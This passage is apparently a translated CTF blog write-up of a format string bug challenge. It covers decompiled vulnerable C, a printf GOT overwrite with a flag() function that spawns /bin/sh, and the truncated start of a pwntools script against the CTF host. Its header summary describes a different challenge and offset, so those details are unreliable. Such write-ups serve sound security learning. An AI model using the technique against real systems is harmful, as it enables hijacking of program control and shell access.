2021-09-09 · 2분
GrabCON CTF — Can You write-up
GrabCON pwnable 的 write-up(cancancan):先追了栈金丝雀泄露这条错误线索,后来发现 printf(buf) 在 offset 6 处存在 FSB,并用 win 函数覆盖 read 的 GOT 表项。
2021-09-09 · 1분
这篇文章发布已超过两年,内容可能已过时。
https://ctf.j0n9hyun.xyz/challenges#Basic_FSB
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
vuln();
return 0;
}
int vuln()
{
char s[1024]; // [esp+0h] [ebp-808h] BYREF
char format[1032]; // [esp+400h] [ebp-408h] BYREF
printf("input : ");
fgets(s, 1024, stdin);
snprintf(format, 0x400u, s);
return printf(format);
}
int flag()
{
puts("EN)you have successfully modified the value :)");
puts(aKr);
return system("/bin/sh");
}
FSB 在 vuln 函数的 snprintf(format, 0x400, s); 处触发。运行实际文件确认一下。
!> ****](https://nabomhalang.tistory.com/entry/시스템해킹-FSBFormat-String-Bug-이란)
可以确认在 offset 2、正是第 2 个位置出现了 0x41414141。也就是 offset : 2。之后覆盖哪个函数都可以,但我用 flag 覆盖最快的 printf。代码如下。源代码 查看更多 ```python from pwn import * p = remote('ctf.j0n9hyun.xyz', 3002) e = ELF("./basic_fsb") printf = e.got['printf'] flag = e.symbols['flag'] print(hex — nabomhalang.tistory.com
在上面的链接可以更详细地学习 FSB。
原文(韩语): tistory — 发布于 2021-09-09,已迁移至本博客。本翻译由 AI 协助完成。
…